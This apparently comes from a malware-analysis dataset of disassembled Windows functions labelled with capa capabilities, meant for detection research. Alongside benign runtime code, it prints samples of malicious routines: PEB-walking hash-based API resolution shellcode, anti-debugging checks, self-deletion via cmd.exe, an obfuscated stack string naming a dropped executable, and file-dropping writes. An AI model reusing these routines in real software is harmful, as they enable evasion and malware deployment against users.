joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1401636e0
Capabilities:
Print debug messages

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x30
mov r14, rcx
or rdi, 0xffffffffffffffff
mov qword [rax - 0x18], rdi
mov rbx, qword [0x14026de80]
and qword [rax + 0x10], 0
xor esi, esi
mov eax, dword [0x140265428]
test eax, eax
je 0x14016372f
lea rcx, str.IsolationAware_function_called_after_IsolationAwareCleanup_n
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov eax, dword [0x140265428]
test eax, eax
jne 0x140163738
call fcn.14001ce68
test eax, eax
je 0x140163754
lea rdx, [rsp + 0x48]
mov rcx, qword [0x14025d4b0]
call qword [sym.imp.KERNEL32.dll_ActivateActCtx]
mov ecx, 1
test eax, eax
cmovne esi, ecx
test esi, esi
jne 0x14016375e
or rax, 0xffffffffffffffff
jmp 0x1401637c0
test rbx, rbx
jne 0x14016377e
lea rcx, str.PropertySheetW
call fcn.1401637d8
mov rbx, rax
test rax, rax
je 0x14016378b
mov qword [0x14026de80], rax
mov rcx, r14
call rbx
mov rdi, rax
mov qword [rsp + 0x20], rax
xor ebx, ebx
cmp rdi, 0xffffffffffffffff
sete bl
test ebx, ebx
je 0x1401637a2
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
jmp 0x1401637a4
xor esi, esi
mov rdx, qword [rsp + 0x48]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DeactivateActCtx]
test ebx, ebx
je 0x1401637bd
mov ecx, esi
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov rax, rdi
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x58]
add rsp, 0x30
pop r14
ret

Function at 0x14017720c
Capabilities:
Print debug messages

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x30
mov r14, rcx
xor edi, edi
mov dword [rax - 0x18], edi
mov rbx, qword [0x14026e598]
and qword [rax + 0x10], rdi
xor esi, esi
mov eax, dword [0x140265428]
test eax, eax
je 0x140177257
lea rcx, str.IsolationAware_function_called_after_IsolationAwareCleanup_n
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov eax, dword [0x140265428]
test eax, eax
jne 0x140177260
call fcn.14001ce68
test eax, eax
je 0x14017727c
lea rdx, [rsp + 0x48]
mov rcx, qword [0x14025d4b0]
call qword [sym.imp.KERNEL32.dll_ActivateActCtx]
mov ecx, 1
test eax, eax
cmovne esi, ecx
test esi, esi
jne 0x140177284
xor eax, eax
jmp 0x1401772e1
test rbx, rbx
jne 0x1401772a4
lea rcx, str.ChooseColorW
call fcn.14001cc44
mov rbx, rax
test rax, rax
je 0x1401772af
mov qword [0x14026e598], rax
mov rcx, r14
call rbx
mov edi, eax
mov dword [rsp + 0x20], eax
xor ebx, ebx
test edi, edi
sete bl
test ebx, ebx
je 0x1401772c4
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
jmp 0x1401772c6
xor esi, esi
mov rdx, qword [rsp + 0x48]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DeactivateActCtx]
test ebx, ebx
je 0x1401772df
mov ecx, esi
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov eax, edi
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x58]
add rsp, 0x30
pop r14
ret
Function at 0x140191c18
Capabilities:
Print debug messages

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x30
mov r14, rcx
xor edi, edi
mov dword [rax - 0x18], edi
mov rbx, qword [0x14026f030]
and qword [rax + 0x10], rdi
xor esi, esi
mov eax, dword [0x140265428]
test eax, eax
je 0x140191c63
lea rcx, str.IsolationAware_function_called_after_IsolationAwareCleanup_n
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov eax, dword [0x140265428]
test eax, eax
jne 0x140191c6c
call fcn.14001ce68
test eax, eax
je 0x140191c88
lea rdx, [rsp + 0x48]
mov rcx, qword [0x14025d4b0]
call qword [sym.imp.KERNEL32.dll_ActivateActCtx]
mov ecx, 1
test eax, eax
cmovne esi, ecx
test esi, esi
jne 0x140191c90
xor eax, eax
jmp 0x140191ced
test rbx, rbx
jne 0x140191cb0
lea rcx, str.PrintDlgW
call fcn.14001cc44
mov rbx, rax
test rax, rax
je 0x140191cbb
mov qword [0x14026f030], rax
mov rcx, r14
call rbx
mov edi, eax
mov dword [rsp + 0x20], eax
xor ebx, ebx
test edi, edi
sete bl
test ebx, ebx
je 0x140191cd0
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
jmp 0x140191cd2
xor esi, esi
mov rdx, qword [rsp + 0x48]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DeactivateActCtx]
test ebx, ebx
je 0x140191ceb
mov ecx, esi
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov eax, edi
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x58]
add rsp, 0x30
pop r14
ret
Function at 0x14002b670
Capabilities:
Query environment variable

Disassembly:
push rsi
mov eax, 0x10078
push rbx
call fcn.1400b05c0
sub rsp, rax
xor eax, eax
mov r8d, 0x28
lea rbx, [rsp + 0x20]
mov rdx, rcx
xor ecx, ecx
mov word [rsp + 0x70], ax
mov word [rsp + 0x20], cx
lea rsi, [rsp + 0x70]
mov rcx, rbx
call fcn.1400507d0
mov rdx, rsi
mov r8d, 0x10000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
lea edx, [rax - 1]
xor eax, eax
cmp edx, 0xffff
ja 0x14002b6cf
mov rcx, rsi
call sub.api_ms_win_crt_string_l1_1_0.dll__wcsdup
add rsp, 0x10078
pop rbx
pop rsi
ret

Function at 0x14002b6e0
Capabilities:
Set environment variable

Disassembly:
push rsi
push rbx
sub rsp, 0x78
xor eax, eax
mov r8d, 0x28
lea rsi, [rsp + 0x20]
mov rbx, rdx
mov rdx, rcx
mov word [rsp + 0x20], ax
mov rcx, rsi
call fcn.1400507d0
mov rdx, rbx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
nop
add rsp, 0x78
pop rbx
pop rsi
ret

Function at 0x14002b7a0
Capabilities:
Set environment variable

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x70
mov rdi, r8
mov rbp, rdx
mov r12, rcx
call fcn.140047ef0
lea rdx, str.environ
mov rcx, rax
call qword [sym.imp.python310.dll_PyObject_GetAttrString]
mov rcx, rbp
mov rbx, rax
call qword [sym.imp.python310.dll_PyUnicode_FromString]
test rdi, rdi
mov rsi, rax
je 0x14002b84f
mov rdx, rdi
mov rcx, rbp
call fcn.14002b6e0
mov rcx, rdi
mov rdx, 0xffffffffffffffff
call sub.python310.dll_PyUnicode_FromWideChar
mov rdx, rsi
mov rcx, rbx
mov rdi, rax
mov r8, rax
call qword [sym.imp.python310.dll_PyObject_SetItem]
test eax, eax
jne 0x14002b891
sub qword [rdi], 1
jne 0x14002b81e
mov rcx, rdi
call fcn.14002b720
sub qword [rsi], 1
jne 0x14002b82c
mov rcx, rsi
call fcn.14002b720
sub qword [rbx], 1
jne 0x14002b844
mov rcx, rbx
add rsp, 0x70
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp fcn.14002b720
add rsp, 0x70
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
lea rdi, [rsp + 0x20]
mov r8d, 0x28
mov rdx, rbp
mov word [rsp + 0x20], 0
mov rcx, rdi
call fcn.1400507d0
xor edx, edx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov rdx, rsi
mov rcx, rbx
call qword [sym.imp.python310.dll_PyObject_DelItem]
test eax, eax
je 0x14002b81e
mov rcx, r12
call fcn.14002b730
jmp 0x14002b81e
mov ecx, 1
call qword [sym.imp.python310.dll_PyErr_PrintEx]
mov ecx, 1
call qword [sym.imp.python310.dll_Py_Exit]
nop
nop dword [rax + rax]
Function at 0x1400a6aa0
Capabilities:
Encode data using xor
Extract resource via kernel32 functions
Hash data with crc32

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
cmp byte [0x1400d1131], 0
mov rbp, rcx
mov r12, rdx
mov rdi, r8
je 0x1400a6b28
lea rdx, [0x1400c016a]
mov rcx, rdi
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
test eax, eax
jne 0x1400a6c40
mov rsi, qword [0x1400d0fe8]
jmp 0x1400a6ae5
lea rsi, [rdx + rax + 4]
mov rdx, rsi
mov rcx, rdi
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
mov rcx, rsi
mov ebx, eax
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
test ebx, ebx
lea rdx, [rsi + rax + 1]
mov eax, dword [rdx]
jne 0x1400a6ae0
movzx r9d, word [rdx + 4]
lea r8, [rdx + 6]
mov rcx, rbp
mov rdx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp fcn.1400961d0
mov r8d, 0xa
xor ecx, ecx
mov edx, 3
call qword [sym.imp.KERNEL32.dll_FindResourceA]
xor ecx, ecx
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov qword [0x1400d0fe8], rax
mov rdx, rax
mov r9d, dword [rax]
lea rax, [rax + 4]
mov qword [0x1400d0fe8], rax
mov eax, dword [rdx + 4]
lea rcx, [rdx + 8]
mov qword [0x1400d0fe8], rcx
test eax, eax
je 0x1400a6c28
lea r8, [rcx + rax]
mov eax, 0xffffffff
nop word cs:[rax + rax]
movzx edx, byte [rcx]
xor edx, eax
mov eax, edx
and edx, 1
neg edx
shr eax, 1
and edx, 0xedb88320
xor eax, edx
mov edx, eax
and eax, 1
neg eax
shr edx, 1
and eax, 0xedb88320
xor edx, eax
mov eax, edx
and edx, 1
neg edx
shr eax, 1
and edx, 0xedb88320
xor eax, edx
mov edx, eax
and eax, 1
neg eax
shr edx, 1
and eax, 0xedb88320
xor edx, eax
mov eax, edx
and edx, 1
neg edx
shr eax, 1
and edx, 0xedb88320
xor eax, edx
mov edx, eax
and eax, 1
neg eax
shr edx, 1
and eax, 0xedb88320
xor edx, eax
mov eax, edx
shr eax, 1
and edx, 1
add rcx, 1
neg edx
and edx, 0xedb88320
xor eax, edx
mov edx, eax
and eax, 1
neg eax
shr edx, 1
and eax, 0xedb88320
xor eax, edx
cmp rcx, r8
jne 0x1400a6b90
not eax
cmp r9d, eax
jne 0x1400a6cc7
mov byte [0x1400d1131], 1
jmp 0x1400a6abc
cmp byte [0x1400d1130], 0
jne 0x1400a6ad3
mov rbx, qword [sym.imp.python310.dll_PyDict_New]
call rbx
mov qword [0x1400d1a68], rax
call rbx
mov qword [0x1400d1a60], rax
call rbx
mov qword [0x1400d1a58], rax
call rbx
mov qword [0x1400d1a50], rax
call rbx
mov qword [0x1400d1a48], rax
call rbx
mov qword [0x1400d1a40], rax
call rbx
mov qword [0x1400d1a38], rax
call rbx
mov byte [0x1400d1130], 1
mov qword [0x1400d1a30], rax
mov rax, qword [sym.imp.python310.dll__PyRuntime]
mov rax, qword [rax + 0x1f0]
mov rax, qword [rax + 0x10]
add rax, 0xda0
mov qword [0x1400d0fe0], rax
jmp 0x1400a6ad3
lea rcx, str.Error__corrupted_constants_object
call sub.api_ms_win_crt_stdio_l1_1_0.dll_puts
call sub.api_ms_win_crt_runtime_l1_1_0.dll_abort
nop
nop dword [rax]
Function at 0x1400af820
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
lea rax, [rsp + 0x58]
mov rbx, rcx
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call fcn.1400b1180
call sub.api_ms_win_crt_runtime_l1_1_0.dll_abort
nop
nop dword [rax]

Function at 0x1400af890
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x1400d1ec4]
test esi, esi
mov rbx, rcx
jle 0x1400af9c0
mov rax, qword [0x1400d1ec8]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x1400af8db
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x1400af965
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x1400af8c0
mov rcx, rbx
call fcn.1400b02e0
test rax, rax
mov rdi, rax
je 0x1400af9e2
mov rax, qword [0x1400d1ec8]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call fcn.1400b0420
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x1400d1ec8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x1400af9c7
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x1400af95e
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x1400af970
add dword [0x1400d1ec4], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov r8d, 0x40
mov eax, 4
mov rcx, qword [rsp + 0x20]
cmove r8d, eax
mov rdx, qword [rsp + 0x38]
add rbx, qword [0x1400d1ec8]
mov r9, rbx
mov qword [rbx + 8], rcx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x1400af95e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.1400af820
nop dword [rax]
xor esi, esi
jmp 0x1400af8e8
mov rax, qword [0x1400d1ec8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov edx, dword [rdi + 8]
mov r8, qword [rax + rbx + 0x18]
call fcn.1400af820
lea rcx, str.Address__p_has_no_image_section
mov rdx, rbx
call fcn.1400af820
nop
nop word cs:[rax + rax]
nop dword [rax]
Function at 0x1400aff50
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x1400d1f20]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1400d1f00]
test rbx, rbx
je 0x1400affac
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x1400affa3
test rsi, rsi
je 0x1400affa3
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x1400aff88
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x1400b02e0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1400c1510]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x1400b0300
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x1400b0308
ret
cmp word [r8 + 0x18], 0x20b
jne 0x1400b0300
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x1400b035d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x1400b0354
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x1400b0300
add rax, 0x28
cmp rax, r9
jne 0x1400b0340
xor eax, eax
ret

Function at 0x1400b0360
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400c1510]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x1400b037f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400b0388
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x1400b037f
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x1400b0420
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400c1510]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x1400b043f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x1400b0448
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret
Function at 0x140004000
Capabilities:
Access peb ldr_data
Resolve function by parsing pe exports

Disassembly:
cld
and rsp, 0xfffffffffffffff0
call fcn.1400040d6
push r9
push r8
push rdx
xor rdx, rdx
mov rdx, qword gs:[rdx + 0x60]
mov rdx, qword [rdx + 0x18]
push rcx
mov rdx, qword [rdx + 0x20]
push rsi
xor r9, r9
mov rsi, qword [rdx + 0x50]
movzx rcx, word [rdx + 0x4a]
xor rax, rax
lodsb al, byte [rsi]
cmp al, 0x61
jl 0x140004037
sub al, 0x20
ror r9d, 0xd
add r9d, eax
loop 0x14000402d
push rdx
push r9
mov rdx, qword [rdx + 0x20]
mov eax, dword [rdx + 0x3c]
add rax, rdx
cmp word [rax + 0x18], 0x20b
jne 0x1400040cb
mov eax, dword [rax + 0x88]
test rax, rax
je 0x1400040cb
add rax, rdx
mov ecx, dword [rax + 0x18]
push rax
mov r8d, dword [rax + 0x20]
add r8, rdx
jrcxz 0x1400040ca
xor r9, r9
dec rcx
mov esi, dword [r8 + rcx*4]
add rsi, rdx
xor rax, rax
ror r9d, 0xd
lodsb al, byte [rsi]
add r9d, eax
cmp al, ah
jne 0x140004081
add r9, qword [rsp + 8]
cmp r9d, r10d
jne 0x140004072
pop rax
mov r8d, dword [rax + 0x24]
add r8, rdx
mov cx, word [r8 + rcx*2]
mov r8d, dword [rax + 0x1c]
add r8, rdx
mov eax, dword [r8 + rcx*4]
add rax, rdx
pop r8
pop r8
pop rsi
pop rcx
pop rdx
pop r8
pop r9
pop r10
sub rsp, 0x20
push r10
jmp rax
pop rax
pop r9
pop rdx
mov rdx, qword [rdx]
jmp 0x140004021
Function at 0x140001020
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov edi, r8d
mov rsi, rdx
mov rbp, rcx
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
jne 0x140001053
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
mov rcx, rax
mov qword [rsp + 0x30], rbx
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rbx, rax
test rax, rax
je 0x140001097
mov rdx, rsi
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov r11d, eax
add r11, rbx
and edi, 0xf
jbe 0x140001092
cmp rbx, r11
jae 0x140001097
add edi, 0xffffffff
movzx eax, word [rbx]
lea rbx, [rbx + rax*2 + 2]
jne 0x140001080
cmp rbx, r11
jb 0x14000109b
xor eax, eax
jmp 0x1400010a7
xor eax, eax
cmp word [rbx], ax
cmove rbx, rax
mov rax, rbx
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret

Function at 0x140001b40
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x40
xor esi, esi
mov ebp, 1
xor r9d, r9d
mov qword [rsp + 0x30], rsi
mov edx, 0x40000000
mov r8d, ebp
mov dword [rsp + 0x28], esi
mov dword [rsp + 0x20], 2
xor bl, bl
call qword [sym.imp.KERNEL32.dll_CreateFileA]
lea r9, [rsp + 0x58]
lea rdx, [0x1400440c0]
cmp rax, 0xffffffffffffffff
mov r8d, 0x3bdd3
mov rcx, rax
mov rdi, rax
mov qword [rsp + 0x20], rsi
cmove ebx, esi
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rdi
test eax, eax
cmovne ebx, ebp
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbp, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x68]
mov al, bl
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rdi
ret

Function at 0x140001bd0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x40
xor esi, esi
mov ebp, 1
xor r9d, r9d
mov qword [rsp + 0x30], rsi
mov edx, 0x40000000
mov r8d, ebp
mov dword [rsp + 0x28], esi
mov dword [rsp + 0x20], 2
xor bl, bl
call qword [sym.imp.KERNEL32.dll_CreateFileA]
lea r9, [rsp + 0x58]
lea rdx, [0x14007fea0]
cmp rax, 0xffffffffffffffff
mov r8d, 0x29000
mov rcx, rax
mov rdi, rax
mov qword [rsp + 0x20], rsi
cmove ebx, esi
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rdi
test eax, eax
cmovne ebx, ebp
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbp, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x68]
mov al, bl
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rdi
ret

Function at 0x140001c60
Capabilities:
Check for debugger via api

Disassembly:
push rbx
sub rsp, 0x20
xor ebx, ebx
mov dword [rsp + 0x30], ebx
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [rsp + 0x30], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
xor edx, edx
mov r8d, eax
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
lea rdx, [rsp + 0x30]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
cmp dword [rsp + 0x30], 1
sete bl
mov eax, ebx
add rsp, 0x20
pop rbx
ret
Function at 0x140001f40
Capabilities:
Create process on windows
Self delete
Terminate process

Disassembly:
sub rsp, 0x158
mov rax, qword [0x1400aa140]
xor rax, rsp
mov qword [rsp + 0x140], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0x100
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov edx, 0xf
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetThreadPriority]
mov r8, qword [0x1400af660]
xor r9d, r9d
lea edx, [r9 + 1]
lea ecx, [rdx + 3]
call qword [sym.imp.SHELL32.dll_SHChangeNotify]
mov r8, qword [0x1400af660]
lea rdx, str._c_del__q__s
lea rcx, [rsp + 0x30]
call fcn.14001a7ec
xor r11d, r11d
lea r9, [rsp + 0x30]
mov dword [rsp + 0x28], r11d
lea r8, str.cmd.exe
lea rdx, str.open
xor ecx, ecx
mov qword [rsp + 0x20], r11
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x1400061d0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push rdi
sub rsp, 0x90
mov qword [rsp + 0x20], 0xfffffffffffffffe
mov rax, qword [0x1400aa140]
xor rax, rsp
mov qword [rsp + 0x80], rax
mov byte [rsp + 0x50], 0x43
mov byte [rsp + 0x51], 0x3a
mov byte [rsp + 0x52], 0x2f
mov byte [rsp + 0x53], 0x55
mov byte [rsp + 0x54], 0x73
mov byte [rsp + 0x55], 0x65
mov byte [rsp + 0x56], 0x72
mov byte [rsp + 0x57], 0x73
mov byte [rsp + 0x58], 0x2f
mov byte [rsp + 0x59], 0x50
mov byte [rsp + 0x5a], 0x75
mov byte [rsp + 0x5b], 0x62
mov byte [rsp + 0x5c], 0x6c
mov byte [rsp + 0x5d], 0x69
mov byte [rsp + 0x5e], 0x63
mov byte [rsp + 0x5f], 0x2f
mov byte [rsp + 0x60], 0x44
mov byte [rsp + 0x61], 0x6f
mov byte [rsp + 0x62], 0x77
mov byte [rsp + 0x63], 0x6e
mov byte [rsp + 0x64], 0x6c
mov byte [rsp + 0x65], 0x6f
mov byte [rsp + 0x66], 0x61
mov byte [rsp + 0x67], 0x64
mov byte [rsp + 0x68], 0x73
mov byte [rsp + 0x69], 0x2f
mov byte [rsp + 0x6a], 0x53
mov byte [rsp + 0x6b], 0x65
mov byte [rsp + 0x6c], 0x72
mov byte [rsp + 0x6d], 0x76
mov byte [rsp + 0x6e], 0x65
mov byte [rsp + 0x6f], 0x72
mov byte [rsp + 0x70], 0x68
mov byte [rsp + 0x71], 0x65
mov byte [rsp + 0x72], 0x6c
mov byte [rsp + 0x73], 0x70
mov byte [rsp + 0x74], 0x2e
mov byte [rsp + 0x75], 0x65
mov byte [rsp + 0x76], 0x78
mov byte [rsp + 0x77], 0x65
mov byte [rsp + 0x78], 0
mov qword [rsp + 0x48], 0xf
mov qword [rsp + 0x40], 0
mov byte [rsp + 0x30], 0
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rsp + 0x50]
repne scasb al, byte [rdi]
not rcx
lea r8, [rcx - 1]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x28]
call fcn.140003480
nop
lea rcx, [rsp + 0x30]
cmp qword [rsp + 0x48], 0x10
cmovae rcx, qword [rsp + 0x30]
xor edx, edx
call fcn.14001bc98
cmp eax, 0xffffffff
jne 0x140006335
call fcn.1400051c0
nop
cmp qword [rsp + 0x48], 0x10
jb 0x140006331
mov rcx, qword [rsp + 0x30]
call fcn.140006ba4
xor eax, eax
jmp 0x14000633b
call fcn.140001f40
nop
mov rcx, qword [rsp + 0x80]
xor rcx, rsp
call fcn.14001a430
add rsp, 0x90
pop rdi
ret

Function at 0x140008b94
Capabilities:
Get graphical window text

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov rbp, rcx
mov rcx, qword [rcx + 0x40]
mov rbx, r8
call fcn.140015c6c
mov rsi, rax
test rax, rax
je 0x140008c10
mov rcx, rax
call qword [sym.imp.USER32.dll_GetDlgCtrlID]
mov edi, eax
test rbx, rbx
je 0x140008c0b
cmp dword [rbx], 0x40
jb 0x140008c0b
mov rcx, qword [rbp + 0x40]
or dword [rbx + 4], 1
or qword [rbx + 0x30], 0xffffffffffffffff
mov qword [rbx + 8], rcx
xor r9d, r9d
xor r8d, r8d
mov edx, 0x87
mov rcx, rsi
mov qword [rbx + 0x10], rsi
call qword [sym.imp.USER32.dll_SendMessageA]
bt rax, 0xd
jb 0x140008c0b
or dword [rbx + 4], 0x80000002
mov rax, rdi
jmp 0x140008c14
or rax, 0xffffffffffffffff
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret